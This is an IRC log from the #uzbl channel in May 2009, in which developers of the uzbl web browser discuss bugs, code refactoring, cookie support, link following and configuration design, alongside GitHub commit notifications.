16:58 < _19LIONZ> I use this link to check my user agent .
16:58 < _19LIONZ> It shows it exactly as intended
16:58 < dpb> useragent.org works fine ;)
16:59 < _19LIONZ> dpb: It does indeed
17:00 < _19LIONZ> uzbl (Webkit 1.1.6) (Linux i686 [i686]) (Commit ffe28435ff741bce2856132d2d3168e659e1a44c)
17:22 < Dieterbe> dpb: useg agents have nothing to do with giving credit
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17:23 < barrucadu> Hi
17:27 < Dieterbe>  dpb> of course an override option in the configs is quite nice, but imo if it's not defined, it shouldn't default to just that "uzbl (Webkit 1.1.6)".. <-- why not?
17:28 < dpb> dpb :: oh wait, nvm
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17:29 < dpb> somehow my testing got messed up and I thought it did that even if the useragent part was commented out in the config, but in that case it does seem to use the webkit default
17:31 < dpb> in any case, a user-agent-extra option would be nice, so that it only changes the uzbl specific part in the default webkit user-agent..
17:33 < dpb> and it should also have the uzbl version number :)
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17:34 < Dieterbe> uzbl has no version numbers
17:35 < Dieterbe> at some point in the future we could do releases with timestamps, but version numbers are stupid.
17:40 < ruskie> yay
17:40 < ruskie> version numbers make no sense
17:43 < dpb> well it makes no sense having two completely different browsers having the same user-agent string...
17:44 < Dieterbe> so? once we have something usable, we can start doing releases and give each release a Y-m-d timestamp
17:45 < dodobas> you could always do something like 'uzbl 09.126'
17:45 < dodobas> yy.ddd where ddd is day of year
17:46 < dpb> timestamps like that are still version numbers ;)
17:47 < dodobas> no, just abbrv of Y-m-d
17:47 < Dieterbe> let's not make this a semantic discussion, i think we all get the idea
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17:48 < dodobas> ill fork it and re stamp it :D
17:50 < Dieterbe> hehe
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19:21 < barrucadu> I've noticed that opening things in a new window no longer works, not sure when this bug appeared.
19:21 < barrucadu> "New web view -> Nothing to open, exiting"
19:23 < barrucadu> I would think probably the first time I merged robm's branch, as there were quite a few conflicts…
19:23 < barrucadu> Unless anyone else has seen this..?
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19:24 < github> uzbl: Dieter Plaetinck experimental SHA1-48dd82b
19:24 < github> better explanation for widget toolkits
19:24 < github> http://bit.ly/pNE9A
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19:24 < Dieterbe> barrucadu: hmm i tested this yesterday and it worked for me
19:25 < barrucadu> Dieterbe: I'll merge your branch and see what happens
19:25 < barrucadu> Though I think the only thing from your branch I haven't got is what you've just committed
19:26 < barrucadu> It might have been something I broke while implementing proper support for the verbose flag (though I wouldn't think so)
19:26 < barrucadu> I'll play around with it
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19:30  * Dieterbe & food
19:32 < DuClare> Which license do you use?
19:32 < barrucadu> DuClare: http://github.com/Dieterbe/uzbl/blob/3338b740dd23d3e88fc1722b56c5b8fda187b627/LICENSE ;)
19:32 < barrucadu> GPL 3
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19:45 < rob|> barrucadu: hmm, i merged mine yesterday with dieter's experimental. i guess nothing has chaged in his branch still then
19:46 < rob|> s/still/since/
19:47 < barrucadu> robl: Does opening new windows work for you?
19:48 < rob|> just one second
19:49 < rob|> how do you open the windows, key binding?
19:50 < barrucadu> I've tried key bindings, Right clicking a link, and clicking javascript links. All of them fail with the same error
19:50 < rob|> yep, right click works for me.
19:50 < barrucadu> Wait, no, right click works
19:50 < barrucadu> The other two don't
19:51 < DuClare> iggly, Hmm, are you running Arch or something else?
19:52 < rob|> barrucadu: could you paste your config line that opens the new windows
19:53 < barrucadu> F_ = script window.open (document.links[%s].href);
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19:59 < barrucadu> rob|: Are you able to use that binding to open new windows?
19:59 < rob|> hmm, not yet. what is the argument supposed to be?
20:01 < barrucadu> The argument is the number of the link. jouz added link following.
20:01 < barrucadu> I'll just find my entire config file on github…
20:01 < barrucadu> http://github.com/Barrucadu/home/blob/f7b29f637f9a82c634afb783ab9cd13144fddbc0/.config/uzbl/config
20:01 < rob|> ok, it fails with "New web view -> nothing to open, exiting"
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20:01 < barrucadu> Yes, that's what I get
20:02 < dusanx> I don't have updated version and opening works
20:02 < rob|> dusanx: with the above config line?
20:02 < dusanx> rob|: yes
20:02 < barrucadu> dusanx: I'll have a look at you code then
20:03 < barrucadu> *your
20:03 < dusanx> barrucadu: let me test more before you dive in my code
20:03 < dusanx> give me some good example that fails
20:04 < barrucadu> dusanx: Anything that tries to open a new window fails.
20:04 < dusanx> just a sec
20:04 < barrucadu> Try this: http://www.javascripter.net/faq/openinga.htm
20:04 < rob|> why would it just fail on new windows, i think that's a porblem within your js code
20:04 < barrucadu> robl: It's not just my key binding that's broken
20:04 < dusanx> yup, does not work
20:05 < dusanx> but I know why
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20:05 < dusanx> there is no target link specified, that part of open in new window is not too elegant
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20:06 < dusanx> uzbl gets signal new-instance or whatever but I used hover link text to determine what to load since webkit does not give that indo
20:06 < dusanx> info
20:06 < dusanx> so when there is JS link only I open new window with empty string
20:06 < dusanx> don't know how to solve that
20:08 < dusanx> but I can explain process if somebody wants to try to fix that
20:08 < barrucadu> Explain away :)
20:08 < barrucadu> I'll have to go in 20 minutes, but I can try something…
20:09 < dusanx> when you click on any link JS or normal
20:09 < dusanx> that needs to open in new window
20:09 < dusanx> uzbl receives create-web-view signal
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20:10 < dusanx> you need to create new webview and send it back to webkit or send NULL if you don't want it to open
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20:10 < dusanx> webkit expects webview reference to process it, if we use tabs that would be automatic
20:11 < dusanx> since we need to spawn new uzbl, app uses hover link as parameter to open new - this fails on JS links since hover link is not existing or incorrect
20:11 < dusanx> that's all
20:12 < dusanx> in short hover link is not complete, webkit wants new webview, receives NULL (so we can spawn new process)
20:13 < ruskie> yay
20:13 < ruskie> Amendment 138/46 adopted again. Internet is a fundamental right in Europe. It is the final blow against three-strike laws such as Nicolas Sarkozy's HADOPI bill, which are explicitely banned.
20:14 < iggly> DuClare, arch
20:15 < dusanx> barrucadu: let me know if I need to explain something
20:16 < barrucadu> dusanx: I'm busy googling trying to find a way around this problem :p
20:17 < barrucadu> I'll email the mailing list
20:23 < Dieterbe> evening lads
20:23 < barrucadu> hi
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20:30 < rob|> where's the ml?
20:31 < Dieterbe> rob|: i think he meant webkit ML
20:31 < rob|> ah, ok
20:31 < rob|> how is it possible you got errors merging my branch but i did not merging yours?
20:33 < Dieterbe> i did not got errors. i just saw the diff was +2k lines and contained lots of "old" stuff so i just didn't start merging
20:34 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] git diff rob/master | wc -l
20:34 < Dieterbe> 2172
20:34 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] git merge rob/master
20:34 < Dieterbe> Already up-to-date.
20:34 < Dieterbe> heh O_o
20:36 < Dieterbe> hey rob| , i just removed you as remote and re-added you
20:36 < Dieterbe> now the diff is only 500 lies
20:36 < Dieterbe> lines
20:39 < rob|> hehe, 500 lies ;)
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20:40 < Dieterbe> :P
20:40 < Dieterbe> this is so tricky. apparently checking out a branch and pulling it does not give you the "real" HEAD from that branch
20:43 < Dieterbe> sweet statusbar btw
20:44 < Dieterbe> rob|: could you add things that you made working to the CHECKLIST file?
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20:47 < github> uzbl: Robert Manea experimental SHA1-9225b6b
20:47 < github> Refactored more internal variables to use the new struct concept
20:47 < github> http://bit.ly/i2ZF0
20:47 < github> uzbl: Robert Manea experimental SHA1-0dc558f
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20:53 < rob|> Dieterbe: yes, sure
20:53 < Dieterbe> and if there are things you can cross off from the todo list, feel free
20:57 < rob|> i'm waiting for an opinion on the whole statusbar stuff, if you give the go i'll enhance it further in respect of correct escaping, etc.
20:58 < dusanx> rob|: looks great. Unfortunately I am using only title bar so fancy statusbar is just bloat I don't use. I am in minority and it's good idea.
21:00 < rob|> yeah, i just packed everything currently supported in the default settings, that doesn't need and probably even shouldn't stay that way
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21:00 < github> uzbl: Jan Kolkmeier experimental SHA1-53ec9eb
21:00 < github> basic linkfollowing
21:00 < github> http://bit.ly/ySLQs
21:00 < github> uzbl: Dieter Plaetinck experimental SHA1-7d26979
21:00 < github> Merge in Jan (jouz) stuff properly
21:00 < github> http://bit.ly/M1FjN
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21:07 < rob|> poor dieter, with such a fast progress he can't even code himself ;)
21:07 < rob|> still, that clearly shows the demand of such a beast
21:07 < dusanx> well I am still interested to see proper cookies :)
21:10 < Dieterbe> me too dusanx , me too :)
21:11 < Dieterbe> dusanx: i thought you showed me some page with explanation how cookies work with soup, a short tutorial on how one should do it. but i can't find it back
21:11 < dusanx> let me find it
21:11 < dusanx> just a sec
21:12 < Dieterbe>  rob|> i'm waiting for an opinion on the whole statusbar stuff -> is there something specific you want to know? or do i have to plough through all your new code and inspect every little thing. i hope not, cause that would take me hours :)
21:13 < dusanx> Dieterbe: this is it: http://library.gnome.org/devel/libsoup/stable/SoupCookieJar.html
21:14 < dusanx> see Object Hierarchy below, there are SoupCookieJarText
21:14 < dusanx> and SoupCookieJarSqlite
21:14 < rob|> Dieterbe: well, i just want to know wether you agree with the current way it's implemented. if yes: i'll wait for the merge/work further on it. if no: i'll keep it in my branch
21:14 < dusanx> basically you need third option
21:19 < Dieterbe> rob|: the refactoring stuff looks very nice. right now there about 20 "loose" variables defined in the top section of uzbl.c  is it the plan to also place these into organized structs?
21:20 < rob|> yes, definitly
21:20 < Dieterbe> great
21:20 < rob|> would like to see a bit more input regarding the naming and locations of those, though
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21:21 < Dieterbe> rob|: the ones who are still left?
21:21 < rob|> yes
21:21 < Dieterbe> k. lets see
21:22 < rob|> most of them look like candidates for State
21:23 < Dieterbe> hmm there is a slight overlap between the concepts of state and behavior
21:24 < Dieterbe> I think everything under "/* settings from config: group behaviour */
21:24 < Dieterbe> can be put in a new struct, called "behavior"
21:24 < rob|> ok
21:25 < Dieterbe> unameinfo -> state
21:25 < Dieterbe> bindings -> behavior
21:26 < Dieterbe> commands -> behavior
21:27 < rob|> ok, noted that down
21:27 < Dieterbe>  /* housekeeping / internal variables */ -> state. except maybe searchtx, maybe we can make a DEFINE from that one
21:28 < Dieterbe> hmm no we can't make a define from searchtx
21:28 < dusanx> nope
21:28 < Dieterbe> but it's only used inside function search_text
21:29 < dusanx> it's global variable
21:29 < rob|> i also dislike all those static buffers using magic numbers and no length checks
21:29 < Dieterbe> definitely
21:29 < Dieterbe> wouldn't it make sense to keep paths and the likes on the heap instead of stack?
21:30 < Dieterbe> without explicit memory limit
21:30 < rob|> probably, though most filesystems have some limits. still, i second that
21:31 < rob|> there should be also some policies on using str* functions without explicit bounds checks
21:31 < rob|> that's the root of all evil as opposed to terror ;)
21:33 < Dieterbe> well, i hope someone other then me can draft such guidelines, i'm too inexperienced with C
21:34 < Dieterbe> rob|: is there something else you want my opinion on?
21:35 < rob|> not yet, that's already some hours of work ;). but please make a decision on the status stuff by merging ot or saying you don't want it the way it is
21:35 < rob|> s/ot/it/
21:37 < Dieterbe> rob|: all your stuff is already merged
21:38 < Dieterbe> i had a look at the Gscanner and it looks like that's something good.  Also you will use the pango markup language for markup right? that's fine by me too
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22:00 < github> uzbl: Evgeny Grablyk experimental SHA1-df811fe
22:00 < github> Some cookies.
22:00 < github> http://bit.ly/coFrW
22:00 < github> uzbl: Evgeny Grablyk experimental SHA1-63a46f2
22:00 < github> Something's working
22:00 < github> http://bit.ly/18hvL6
22:00 < github> uzbl: Evgeny Grablyk experimental SHA1-cc3a141
22:00 < github> Run away from a terribly wrong approach.
22:00 < github> http://bit.ly/TsLS5
22:00 < github> uzbl: Evgeny Grablyk experimental SHA1-12b0591
22:00 < github> Implement saving cookies
22:00 < github> http://bit.ly/mYrjj
22:00 < github> uzbl: Dieter Plaetinck experimental SHA1-3f169ee
22:00 < github> merge in sm217s cookie code (which is work in progress)
22:00 < github> http://bit.ly/ze9sZ
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22:41 < github> uzbl: Dieter Plaetinck experimental SHA1-130ce69
22:41 < github> storing cookies now works with handler
22:41 < github> http://bit.ly/gdPDT
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22:42 < Dieterbe> basic storing of cookies works. not yet sending. it's a bit more advanced then i thought. we'll need to do some basic parsing and some logic in bash to check path,domain and expires attributes before sending
22:47 < Dieterbe> good night
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23:27 < barrucadu> Hi
23:28 < barrucadu> https://lists.webkit.org/pipermail/webkit-dev/2009-May/007565.html
23:28 < barrucadu> Apparently we should look at the create-web-view signal…
23:28 < barrucadu> I'll merge Dieterbe's stuff and see what I can come up with
23:30 < lwi> barrucadu: http://code.ring0.de/?p=webkitbrowser.git;a=commitdiff;h=7e950840b7317c688e460d4ae7efd740da474eeb
23:31 < lwi> barrucadu: you could use navigation-requested as I do
23:31 < barrucadu> lwi: thanks
23:31  * barrucadu groans
23:31 < barrucadu> I'm going to have to manually merge everywhere where I've made use of the verbose flag…
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23:56 < Masca> Amazing browser. =P
23:58 < barrucadu> :)
--- Day changed Thu May 07 2009
00:00 < Masca> Just to be sure I'm doing something wrong. I did cp the sampleconfig to ./config/uzbl/sampleconfig but I need to use --config to get it detected. It's a bug or I'm suppoused to set configfile in some other place?
00:01 < barrucadu> It needs to be copied to ./config/uzbl/config
00:01 < Masca> That makes a lot of sense. =P
00:02 < Masca> Now. I'm getting 'command "follow_link_here" not understoo. ignoring.' It's a known issue?
00:03 < barrucadu> There is no follow_link_here command, so you have to click links rather than just type a command. We're working on link following
00:05 < Masca> Ook, just wondering because it's in the sampleconfig and I wanted to see tabs.
00:06  * Masca have just yaourted uzbl
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01:05 < rob|> http://github.com/robm/uzbl/commit/3c078efbbd47fd915051fcd901f1b9e14b4d0153
01:06 < rob|> pls merge, contains some escaping code so we don't confuse the marup parser
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07:37 < ruskie> good morrow all
07:52 < Masca> is uzbl.org a wiki?
07:52 < Masca> Just found a bug in the FAQ.
08:07 < ruskie> does it look like one?
08:08 < Masca> not really.
08:19 < DuClare> Are the vimperator-like hints I saw in a screenshot an uncommited feature?
08:20 < Masca> vimperator-like hints?
08:21 < DuClare> http://omploader.org/vMW1zbQ
08:21 < DuClare> Masca, Numbered links.
08:25 < dodobas> yello
08:36 < Masca> It looks nice. =P
08:37 < Masca> DuClare: I have just downloaded uzbl today, I can't answer you.
08:39 < DuClare> Yeah, I just compiled webkit & uzbl
09:19 < Dieterbe> the hints/link following is in the experimental sampleconfig
09:19 < Dieterbe> you can just grab the config lines and use them
09:19 < Dieterbe> Masca: what's the bug in the faq?
09:22 < Masca> it says 'q' exit the program while actually 'ZZ' do it.
09:24 < Dieterbe> good point. i'll fix that
09:25 < Masca> Figure out how much time I was pressing 'q' before reading the 'ZZ' bit. jeje
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09:27 < github> uzbl: Dieter Plaetinck experimental SHA1-3e34020
09:27 < github> incorrect key example
09:27 < github> http://bit.ly/137Z2H
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09:55 < rob|2> good morning
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10:07 < Dieterbe> hey rob|
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10:11 < DuClare> rob|, I asked about the hints.  Are they an uncommitted feature?
10:16 < Masca> DuClare: they are in experimental branch.
10:16 < Dieterbe> DuClare: i already answered you. see above
10:17  * Masca echoes Dieterbe 
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10:22 < dusanx> hi
10:22 < Dieterbe> hey Dusan
10:25 < rob|> DuClare: got it working?
10:31 < DuClare> No, I didn't
10:33 < Dieterbe> you take the 2 lines from sampleconfig in experimental, you put them in your config.
10:33 < Dieterbe> done
10:33 < dusanx> Can't stop wondering if we did a wrong turn with config file. Too much code wasted to process it. I am thinking about using config.h instead of config file and compiling all bindings inside of app -> no switches whatsoever, just uzbl uri_link
10:33 < Dieterbe> as long as your installed version of uzbl is somewhat up to date, it doesn't even matter if you run the uzbl-git package or the experimental one
10:34 < Dieterbe> @ DuClare ^
10:35 < DuClare> I'm running git head, fetched a couple hours ago
10:35 < Dieterbe> then it will definitely work
10:35 < Dieterbe> dusanx: "too much code??" what.. 100 lines?
10:35 < DuClare> Looks like I'm missing  "experimental".  Where is it?
10:35 < dusanx> Dieterbe: I know but can't stop admiring dwm elegancy
10:36 < Dieterbe> i don't like the concept of mixing configuration and source code
10:36 < Dieterbe> it may decrease amount of lines of code, but i find it ugly
10:37 < DuClare> But it gives you all the power.
10:37 < DuClare> You're not restricted by a configuration format
10:37 < Dieterbe> i don't feel restricted by uzbl's config format..
10:37 < dusanx> rob|: you are using dwm. what do you prefer?
10:38 < DuClare> Dieterbe, Is 'experimental' some package that ships an unusual configL
10:38 < Dieterbe> DuClare: no, it's a branch in my git
10:39 < dusanx> Dieterbe: we can't easily declare any special char in config. We may add some hex processing but code will grow a lot. It's much easier to add XF86_mute or whatever in h.
10:39 < dusanx> Dieterbe: just thinking aloud
10:40 < Dieterbe> well, from a system management perspective (think automated installs, package lists, keeping configs under version control etc) I find the dwm approach ugly
10:41 < dusanx> Dieterbe: dwm (and uzbl) are for geeks and control freeks :)
10:42 < Dieterbe> i rather have a clean separation between config file and source code (and binaries), then having that extra 5% of "unlimited tweaking options" i will probably never even need
10:45  * Masca thinks about vim-like config.
10:51 < DuClare> Dieterbe, Okay, I got it working.  Thanks.
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11:30 < rob|> http://github.com/robm/uzbl/commit/a7ffb38422e91edb556cbab7382d497ef19d5e6d
11:30 < rob|> moved all globals to structs
11:31 < rob|> introduced a new struct Behaviour
11:31 < Dieterbe> oh shit rob| , i forgot to tell you
11:31 < Dieterbe> i've been thinking this morning
11:32 < rob|> ?
11:32 < Dieterbe> i realised that putting the bindings in behavior would not be the best thing
11:32 < Dieterbe> i suggest making a new struct for bindings
11:32 < Dieterbe> (or did i tell you this already? i dreamed about this last night so reality and fiction blur a bit for me)
11:33 < rob|> well, no you didn't.
11:34 < Dieterbe> okay well, i did now :)
11:34 < Dieterbe> still in time i hope
11:35 < rob|> heh, almost ;)
11:36 < Dieterbe> is it more then 5 minutes work to change it?
11:36 < rob|> no, not that much work
11:36 < Dieterbe> ok.. :puppy eyes:
11:37 < rob|> su you're suggesting uzbl.bindings where bindings is the hash in contrast to uzbl.behave.bindings, right?
11:38 < rob|> what about the commands hash, same thing?
11:38 < Dieterbe> well, actually bindings are part of the "interface", since there is a uzbl.gui i was wondering about a uzbl.<insert "keyboard interface" acronym here>
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11:39 < Dieterbe> no, because commands are.. well.. internal commands, whereas bindings are part of the interface towards the user
11:41 < rob|> hmm, that doesn't make to much sense if i understand you right. that would mean creating a struct holding only the bindings hash..
11:41 < rob|> *too
11:43 < Dieterbe> hm would it? and are there no other variables related to the "interface with user" that are not graphical?   do we expect to have such variables in the near future?
11:44 < rob|> hmm, not sure. do you have anything precise in mind?
11:47 < Dieterbe> no not really, and i can't find anything in the current code either
11:47 < Dieterbe> so yeah.. maybe just Uzbl.bindings
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11:48 < rob|> right
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11:50 < Dieterbe> btw rob| don't you have to work? or are you a student?
11:50 < rob|> i'm working at home most of the time
11:51 < Dieterbe> self employed? or cool job :P
11:53 < rob|> well, self employed though i'm mainly doing stuff for one customer
11:58 < Dieterbe> aha. and what are your core activities, if i may ask?
12:04 < rob|> we're writing an application framework that controls and evaluates industrial machines, specifically those used in the production of LEDs. currently i'm involded in the data analysis tool
12:08 < Dieterbe> i see
12:09 < rob|> i guess you're are also in IT bussiness?
12:09 < rob|> *in the
12:10 < dpb> are are?
12:10 < Dieterbe> yeah, i'm doing a mix of sysadmin/dev work
12:10 < rob|> erm ;)
12:11 < rob|> so, http://github.com/robm/uzbl/commit/9ac279602b3ad6d0f908ef88e575216b72848d31
12:11 < Dieterbe> right now i'm working on a webapp that allows management of infrastructure (racks, networks etc), data collecting (power usage, network traffic) and automated customer billing
12:11 < rob|> the bindings thing
12:12 < rob|> oh, i see. so what language(s) are you using for that?
12:12 < Dieterbe> php (CakePHP framework)
12:12 < Dieterbe> commit looks good btw
12:13 < rob|> ok
12:16 < rob|> github's network graph is nice, use it all the time
12:34 < Dieterbe> yeah me too
12:34 < Dieterbe> it's a good "from who should i merge" indicator
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12:47 < Dieterbe> @peak
12:47 < dev_null> Dieterbe: barrucadu set a record of 37 people in #uzbl on May 06, 2009 at 09:27 PM CET. You'll need 2 more people to break the peak.
12:48 < Masca> hehe
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12:52 < github> uzbl: Robert Manea experimental SHA1-ba99910
12:52 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl
12:52 < github> http://bit.ly/ud2P
12:52 < github> uzbl: Robert Manea experimental SHA1-bff23a8
12:52 < github> use more efficient g_string_append_c() in parse_status_template()
12:52 < github> http://bit.ly/4IguM
12:52 < github> uzbl: Robert Manea experimental SHA1-9d79f24
12:52 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl
12:52 < github> http://bit.ly/JXv0S
12:52 < github> uzbl: Robert Manea experimental SHA1-3c078ef
12:52 < github> escape certain characters in expanded statusbar symbols, so we don't confuse the markup parser
12:52 < github> http://bit.ly/rYIoP
12:52 < github> uzbl: Robert Manea experimental SHA1-8f3fa4d
12:52 < github> Move globals to structs, one more round. introducing struct Behaviour
12:52 < github> http://bit.ly/UoyNo
12:52 < github> uzbl: Robert Manea experimental SHA1-a7ffb38
12:52 < github> move globals to structs, another round.
12:52 < github> http://bit.ly/mWOVW
12:52 < github> uzbl: Robert Manea experimental SHA1-9ac2796
12:52 < github> moved bindings to uzbl.bindings
12:52 < github> http://bit.ly/oAMw5
12:52 < github> uzbl: Dieter Plaetinck experimental SHA1-5f6e00f
12:52 < github> Merge commit 'rob/master' into experimental
12:52 < github> http://bit.ly/4h7vB
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13:09 < rob|> things are getting pretty nifty, http://omploader.org/vMW16Zg - uzbl became quite usable ;)
13:11 < Dieterbe> rob|: the number on the right in your statusbar is the xorg window id or something?
13:11 < rob|> yes, exactly
13:14 < rob|> i guess it's time for a statusbar_template option in the config file
13:15 < Dieterbe> yes indeed :))
13:16 < Dieterbe> and maybe choose a slightly more subtle config to show off the feature. not all colors of the rainbow :P maybe some shades of blue/black/gray
13:17 < rob|> hehe, i leave that up to you - the colors that is ;)
13:19 < jouz> rob|: im already working on following links via text and "decremental" highlightning :)
13:19 < Dieterbe> wow?! and it can be done?
13:20 < rob|> jouz: oh, sounds cool
13:21 < jouz> yep dusanx said he will bring in actions that work like: *F_ = do_something_each_time_%s_changes. i already have a function that could use it
13:22 < jouz> only need to provide a better algorithm to identify duplicate link-texts and give them other "shortcuts"
13:30 < jouz> and it already follows a link if its the only link left matching the input. So in near future, a simple command like 'fGo' (without hitting additional RETURN or s.th.) will follow a link named 'Google this'. This will be extendet to IMG links as well.
13:32 < Dieterbe> nice nice nice
13:32 < jouz> on pages with a moderate number of different links this is very handy. on pages with more/identical links ýou probably whish to stick to numbers.
13:33 < jouz> uh i'm late again, see you tonight ;)
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13:49 < dusanx> I am back
13:50 < dusanx> Dieterbe: I will add *keys = command interactive mode but you will have to add changes manually in your code, is that ok?
13:51 < rob|> http://github.com/robm/uzbl/commit/26d1fd8f8d2efdef5d3563a240852e54356e7dc1
13:52 < rob|> feel free to adjust the colors to something more eye-pleasing
13:55 < dusanx> back in 30 minutes
13:57 < Dieterbe> dusanx: i don't understand what you mean
14:04 < rob|> hmm, are the mouse over labels in github's network graph readable for you with uzbl
14:04 < rob|> ?
14:04 < rob|> i.e. hoovering over the commit "points"
14:09 < Dieterbe> lets see
14:10 < Dieterbe> yes
14:10 < Dieterbe> they work fine here
14:10 < rob|> hmm, not for me
14:10 < rob|> strange
14:11 < rob|> i can only see the avatrs in the opening bubble
14:11 < rob|> no text at all
14:18 < Dieterbe> maybe something with your fonts?
14:19 < Dieterbe> though the font seems very generic
14:20 < rob|> probably, though ff renders them just fine
14:30 < dusanx> Dieterbe: I am back. I mean that we have different sources and if merge fails you will probably have to replace whole key processing procedure. Our key processing procedures are the same.
14:32 < Dieterbe> if it is the same why would i need to replace anything.  also what does "*keys = command interactive mode" mean??
14:36 < dusanx> Dieterbe: it is the same now because I don't have interactive calls finished yet. Interactive mode would work similar to key_ commands but app will process keys and call function on every key press. this allows for search and link following to work more 'interactive'. Selected links (possible targets) would change with every key press narrowing possible choices.
14:37 < Dieterbe> oh
14:37 < Dieterbe> sounds good
14:38 < dusanx> I should have that today
14:39 < Dieterbe> btw, maybe you should learn a bit more about git.  it will be easier if you maintain multiple branches
14:40 < dusanx> Dieterbe: that is possible problem, I don't want to include several last changes :( I have no idea if git can do that?
14:42 < Dieterbe> sure, everything is possible
14:42 < Dieterbe> git cherrypick for example
14:42 < dusanx> Dieterbe: thanks, I am bit busy today but I will surely check
14:45 < Dieterbe> at the very least, you should have separate branches for stuff that you want to get merged in, and stuff you want for yourself
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14:50 < dusanx> I am using irssi in cosole #2 right now since I am restarting X a lot. Is there any app to show console content in real time, windowed?
14:51 < Dieterbe> why don't you just use screen?
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14:51 < ruskie> hmm for tabs it would be good if each tab is it's own process so it can crash but not take the whole lot down...
14:51  * ruskie is just spewing random stuff
14:52 < dusanx> Dieterbe: never used screen, I will check
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17:36 < Dieterbe> barrucadu wil join in 3 .. 2.. 1..
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17:37 < ruskie> lol
17:37 < ruskie> *poof*
17:37  * ruskie wonders if gtk-server can swalow a uzbl window into a tab...
17:38 < Dieterbe> we will use uzbl instance grouping (by supplying tags as commandline arguments) and dmenu to select another instance
17:38 < Dieterbe> at least, that's what i think we concluded last time
17:39  * ruskie doesn't get it
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17:40 < ruskie> well only 4 minutes off Dieterbe ;)
17:41 < Dieterbe> voila :)
17:41 < barrucadu> hi
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17:52 < ruskie> Dieterbe, you mean no tabs then?
17:52 < Dieterbe> ruskie: no tab widgets in any graphical gtk thingie, no
17:53 < Dieterbe> but similar functionality through the means i just explained :)
17:56 < ruskie> I'll be happy with just being able to use alt+, or alt+. to switch between them
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17:58 < jouz> hey thanks for fixing the url-parameter-thingy, *urlLauncher from Xdefaults now works with uzbl as well!
18:00 < Dieterbe> ruskie: of course, all that is possible with keybinds
18:01 < Dieterbe> jouz: hmm. did we fix it? i don't even know i merged in a patch for that :?
18:02  * Dieterbe & to home
18:06 < jouz> Dieterbe: that is wierd :D i just pulled your recent experimental and compiled it, and my *urlLaucher has the value "/usr/bin/uzbl" without any arguments or stuff, and it works :)
18:07 < jouz> we have some serious magic going on sometimes...
18:17 < rob|> do you guys know the ff autopager plugin? i love that one, i wonder if that's doable with js
18:35 < jouz> rob|: just had a decent look at it, i think its very possible.
18:36 < jouz> rob|: though i would prefer it bound to a key instead of automatically loading.
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18:50 < rob|> http://github.com/robm/uzbl/commit/fc2bff84dcd3ed6cef5573bed345ca4107a16c59
18:57 < jouz> Dieterbe: silly me, the url fix is not in jet indeed, some wierd curcumstances just made me think so... -_-
19:02 < rob|> jouz: re. autopager, yeah triggering it on a keystroke might suite as well. you're the js guru, so if you have some time i'd love to see something along that lines :)
19:03 < jouz> rob|: i will try that later tonight
19:03 < rob|> alright, nice :)
19:05 < jouz> Dieterbe: dont want to bug you, but extensions via the js-scripts could get pretty big i think. it would be awesome if loading .js files worked... these one-line scripts are dead ugly :)
19:11 < rob|> hmm, can't reach the arch repos :(
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20:15 < Dieterbe> evening all
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20:20 < Dieterbe> barrucadu2: uzbl.org is very slow :/ which hosting do you have?
20:25 < Dieterbe> rob|: when i merge in your stuff and run make test, the statusbar is entirely empty
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20:26 < github> uzbl: Robert Manea experimental SHA1-26d1fd8
20:26 < github> added status_format option to sampleconfig-dev file
20:26 < github> http://bit.ly/M9V9H
20:26 < github> uzbl: Robert Manea experimental SHA1-fc2bff8
20:26 < github> added signal handling and a clean_up() function
20:26 < github> http://bit.ly/oMGvA
20:26 < github> uzbl: Dieter Plaetinck experimental SHA1-6077d1e
20:26 < github> readme update
20:26 < github> http://bit.ly/14sGva
20:26 < github> uzbl: Dieter Plaetinck experimental SHA1-28f3992
20:27 < github> cookie doc
20:27 < github> http://bit.ly/oMcSU
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20:27 < github> uzbl: Dieter Plaetinck experimental SHA1-4e69e5d
20:27 < github> Merge commit 'rob/master' into experimental
20:27 < github> http://bit.ly/l7ALx
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21:54 < rob|> re
21:55 < rob|> Dieterbe: did you solve that epmty statusbar issue, yet?
21:58 < Dieterbe> no
21:58 < Dieterbe> i didn't research it though
21:59 < rob|> hmm, i just merged with your experimental and everything is working as expected
21:59 < rob|> note the statusbar will only be populated if you load sampleconfig-dev
22:03 < Dieterbe> of course .. silly me
22:03 < Dieterbe> i just ran make test
22:03 < rob|> ok, so problem solved ;)
22:04 < rob|> i guess it's ok to not have any default entries in the statusbar
22:06 < Dieterbe> hmm .. maybe we should something really basic in there by default (eg the same as what it was before)
22:06 < rob|> well, displaying URI by default wouldn't be a too bad idea either.
22:06 < rob|> and the mode
22:06 < rob|> without any colors and fancy stuff
22:06 < rob|> probably
22:07 < rob|> you can set the defaults in line 1284
22:08 < Dieterbe> added to my todo.. working on cookies now :)
22:08 < rob|> ok
22:08 < Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [experimental] grep "^[^\t]*ala" test 
22:08 < Dieterbe> foo.bar	lala	tralala
22:09 < Dieterbe> rob|: are you good in regexes?
22:09 < Dieterbe> i want to match "every char except tab" multiple times
22:09 < Dieterbe> apparently [^\t]* does not do that
22:12 < Dieterbe> awk "/^[^\t]*bar/" does it perfectly. gonna use that
22:12 < rob|> just a moment, phone
22:14 < Dieterbe> never mind i just used awk
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22:24 < github> uzbl: Dieter Plaetinck experimental SHA1-9ac714c
22:24 < github> todo
22:24 < github> http://bit.ly/Mw87U
22:24 < github> uzbl: Dieter Plaetinck experimental SHA1-1a9bc29
22:24 < github> cookie support: correct invocations of script, various fixes. almost a basic working version
22:24 < github> http://bit.ly/jy7BY
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22:26 < yiyus> Dieterbe: I think [^\t]+ should be fine
22:26 < yiyus> your awk regex will also match ^bar
22:28 < Dieterbe> that's fine
22:29 < Dieterbe> i'm going to bed
22:30 < Dieterbe> see you later guys
22:31 < rob|> oh, new glibc and gcc in arch
22:35 < rob|> 1250 lines of C in uzbl
22:35 < rob|> not too bad :)
22:36 < DuClare> Yup.  I read the source earlier today.
22:37 < rob|> well, i'm still thinking that splitting up uzbl.c in multiple source files should be done as soon as possible
22:37 < rob|> scrolling through all that stuff is frustrating
22:37 < yiyus> 1250 loc sounds great, other browsers loc nubers are scary
22:39 < rob|> right, though webkit is not counted in
22:39 < rob|> obviously ;)
22:40  * yiyus doesn't want to know how many kloc webkit has
22:43 < DuClare> Well, 1250 isn't that bad yet, with regard to scrolling.  I peeked into zsh's source yesterday.  The source file  for globbing was ~3.5k, IIRC
22:44 < DuClare> It wasn't too hard to navigate
